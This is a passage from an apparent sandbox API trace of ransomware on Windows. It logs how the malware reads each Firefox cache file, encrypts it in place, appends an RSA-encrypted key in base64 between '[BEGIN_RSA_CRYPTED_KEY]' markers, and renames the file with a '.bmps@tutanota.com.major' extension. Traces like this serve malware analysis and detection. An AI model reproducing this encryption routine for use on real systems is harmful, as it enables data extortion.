lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.171] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.171] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.171] CloseHandle (hObject=0x1b84) returned 1 [0264.171] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\78A520FE200DD59F7079043C2E4494D582DB5E27" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\78a520fe200dd59f7079043c2e4494d582db5e27"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\78A520FE200DD59F7079043C2E4494D582DB5E27.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\78a520fe200dd59f7079043c2e4494d582db5e27.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.175] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.175] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\789617E6CBDC728F205B5B4C33CD556E4CA32006", dwFileAttributes=0x80) returned 1 [0264.176] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x577, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x577, lpOverlapped=0x0) returned 1 [0264.178] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1399, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.178] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x577, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x577, lpOverlapped=0x0) returned 1 [0264.179] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x577 [0264.179] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.179] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.180] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.180] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.180] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="MR/MXCFod34oPYGoF9LXa/dMGlNyMLFWOvFT4baNoIwC2PEdsbdzSGZbcGRpemxW\nIc4X1zpVs8K1fNXGHGbERHu4Xca2GP7L1VlX7zH32yKwRSFx15/e7VaFLIY1JFUM\n4B+E/RXA9gVUe3hklyKg3T1W1768w75wGeZh7Zok4tmYp0t38HwOsK6O7DzBD5hi\nTYpSHIB9FZKvx3hekdEr7tcA/zlYPqqzmcHfI9EHSi0AQoURUfxMXs9fTpo8Z2GV\nco5xEaKCRpIn5qybr4rQH8cbApb76xhCoXUZv1dJ9QOj6wBZSPND4HDLK1vM9aQs\nEmKA8pOQGnm3jMLreBC4eg==\n", pcchString=0x2e3f9a8) returned 1 [0264.180] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.180] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.181] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.181] CloseHandle (hObject=0x1b84) returned 1 [0264.181] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\789617E6CBDC728F205B5B4C33CD556E4CA32006" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\789617e6cbdc728f205b5b4c33cd556e4ca32006"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\789617E6CBDC728F205B5B4C33CD556E4CA32006.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\789617e6cbdc728f205b5b4c33cd556e4ca32006.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.183] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.183] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7854D382F9129B1F63C548FFA98E16681B442ADB", dwFileAttributes=0x80) returned 1 [0264.183] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xb44, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xb44, lpOverlapped=0x0) returned 1 [0264.241] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-2884, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.241] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e378*, nNumberOfBytesToWrite=0xb44, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e378*, lpNumberOfBytesWritten=0x2e3f9b4*=0xb44, lpOverlapped=0x0) returned 1 [0264.242] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xb44 [0264.242] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.242] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.243] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.243] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.243] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.243] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="2Ac8J8JeMYxeS+CWpQPIFXWv20rDTU8RXePMNVE+Bq6OxxXL0m5Dg84E58qZucJj\nqM05ziV4mIrI20+o+H1kYdbASfSCU5NTH+PXAaAeoXzGnZFL/5aiLRnxMsO2mIPD\nvQ9AdiHnVkPzs4cAQv+UTri8jVL/69CgEr/97CvXIOOFJG9ojHNnOEMIvHMnWJtZ\nMGgOyHgDJV++kC7Br24BO6OF2n3V92Mlx/dDWYYAWjSre36BWlqbDBbsfljZ4zLE\n/42B2u654hiJ0I4WiJzYTM4kH68Aa8Ffif+9fI8+GdVSSym1kgwpiMY6QGFymF08\n1rcJTcPhVgiYQA8w3J1cYQ==\n", pcchString=0x2e3f9a8) returned 1 [0264.243] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.243] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.243] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.244] CloseHandle (hObject=0x1b84) returned 1 [0264.244] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7854D382F9129B1F63C548FFA98E16681B442ADB" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7854d382f9129b1f63c548ffa98e16681b442adb"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7854D382F9129B1F63C548FFA98E16681B442ADB.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7854d382f9129b1f63c548ffa98e16681b442adb.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.246] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.246] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\784BF733DA8C7E276D81D56E27763E588BD3C528", dwFileAttributes=0x80) returned 1 [0264.246] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0xefa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0264.326] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3834, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.326] WriteFile (in: hFile=0x1b84, lpBuffer=0x343e730*, nNumberOfBytesToWrite=0xefa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343e730*, lpNumberOfBytesWritten=0x2e3f9b4*=0xefa, lpOverlapped=0x0) returned 1 [0264.327] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xefa [0264.327] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.327] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.328] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.328] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.328] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.328] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="gYkMvZ/RGK4hEpb6yt3/IsfQRnzhcH6K7Eo3sp+QS3KlhZdBV6YcFo0EjAhIdpLa\nulV+lpoCsi//lKMBxcA0YHFRxA74yiredtI/g+i1uarPzV1+NCjnYB7uyFOD/2E3\n9GCFrT1Rns1PmAAxmdhe5LA3Xsn5ibl/MXUZc+W94bYmfARUE9X8pAU4HDBrM2qr\nWZgqRthBm+TjTSAXXLEm3mBFGdI9xn098pdGQyr8e5LIw3uK0CCGbG45CHtjV1Sk\nYTCHNmKWSYAWJ2BVHgyVYF8tY+QzBdIkriGAr4yorvf6KSQJ8mB5w00KfnwZ8XD0\nvqnK57PqhT+SkljK8lePfg==\n", pcchString=0x2e3f9a8) returned 1 [0264.328] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.329] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.329] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.329] CloseHandle (hObject=0x1b84) returned 1 [0264.329] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\784BF733DA8C7E276D81D56E27763E588BD3C528" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\784bf733da8c7e276d81d56e27763e588bd3c528"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\784BF733DA8C7E276D81D56E27763E588BD3C528.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\784bf733da8c7e276d81d56e27763e588bd3c528.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.337] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.337] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7807899BF5E94564AFE48A5B5DF11C0FDB47F065", dwFileAttributes=0x80) returned 1 [0264.338] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x4d8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x4d8, lpOverlapped=0x0) returned 1 [0264.426] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1240, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.427] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x4d8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4d8, lpOverlapped=0x0) returned 1 [0264.427] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4d8 [0264.427] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.427] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.428] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.428] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.429] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.429] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="v0GJtZm1YEvJ0yeRUzsUjYH1TmR858QxtU+HS4CaHExULYGnfELEKNkPgMUMuVql\nDXEnqHKZtlo5+uM7b4K999irjXrLvts8+DCc+9q/KGH/UJpx3pzlK7bDoQBSi1bf\nrg9Zc1pOkKNNIm53IB7cgWK6V13ftQVBZ7NqjmQ4OCNdcTar4eSQISCYRDS4mA8M\njt0RD4/DTWw3FQVNd/4RqN/9w/ucTm3X5+hkVLEIrbz8nt1U99WTekcv3NO9FFtL\nzUIy8CTiAUJIYed21rirIQeWlG7gPcYQscb/UQnH5F8o+bdByC4PZZ2i03pKgRKu\neFB88KuKKP/MyZfIy5hNuQ==\n", pcchString=0x2e3f9a8) returned 1 [0264.429] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.429] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.429] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.429] CloseHandle (hObject=0x1b84) returned 1 [0264.429] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7807899BF5E94564AFE48A5B5DF11C0FDB47F065" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7807899bf5e94564afe48a5b5df11c0fdb47f065"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\7807899BF5E94564AFE48A5B5DF11C0FDB47F065.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\7807899bf5e94564afe48a5b5df11c0fdb47f065.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.582] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.583] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\77BEB77D9CC969C39958CC4A5EBACAF025E09EA4", dwFileAttributes=0x80) returned 1 [0264.583] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x28b5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x28b5, lpOverlapped=0x0) returned 1 [0264.727] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-10421, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.727] WriteFile (in: hFile=0x1b84, lpBuffer=0x34400e8*, nNumberOfBytesToWrite=0x28b5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x34400e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x28b5, lpOverlapped=0x0) returned 1 [0264.728] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x28b5 [0264.728] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.728] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.728] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.728] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.728] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.729] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="JL+mOkvpeQA9ifFYPSPuo+00B6rFYI8uGlIqcWtpcitEmKMuWDxAhIm5p005Lbrc\nGr24/nycKHVVwlJDK7WQ1Sk/n8r9yubHrwHtYnq7c3HT8Y9RzO+IgoDyz9qvkmLL\nDkQnx0qCqrc7mmJxgoIYvXMtAV8jmeIzohP0KuBiXvIQ0ZvRS8sL42lZdXUK9NAI\nBt9mVTcv4mKkUIVd5QfFkarIfuMyZ/vS8P+5uzg9KnwuU/E6H64dyfbvKMpj0KIj\nm+SPZvqNVOQ1dHQcK7q6TWU5LFTOyVuTQDrgHPd/z4IOhBlEpj5PXwhl05Wp6dVn\n0B4wNPpzipg2w4aCaQh8Gg==\n", pcchString=0x2e3f9a8) returned 1 [0264.729] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0264.729] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.729] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.729] CloseHandle (hObject=0x1b84) returned 1 [0264.729] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\77BEB77D9CC969C39958CC4A5EBACAF025E09EA4" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\77beb77d9cc969c39958cc4a5ebacaf025e09ea4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\77BEB77D9CC969C39958CC4A5EBACAF025E09EA4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\77beb77d9cc969c39958cc4a5ebacaf025e09ea4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0264.731] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0264.731] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\76EF1292F45B28008B0E37EDAF898359BDA69EF7", dwFileAttributes=0x80) returned 1 [0264.732] ReadFile (in: hFile=0x1b84, lpBuffer=0x343d828, nNumberOfBytesToRead=0x24e4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343d828*, lpNumberOfBytesRead=0x2e3f9b4*=0x24e4, lpOverlapped=0x0) returned 1 [0264.827] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-9444, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0264.827] WriteFile (in: hFile=0x1b84, lpBuffer=0x343fd18*, nNumberOfBytesToWrite=0x24e4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343fd18*, lpNumberOfBytesWritten=0x2e3f9b4*=0x24e4, lpOverlapped=0x0) returned 1 [0264.828] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x24e4 [0264.828] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0264.828] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0264.829] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0264.829] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0264.829] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0264.829] 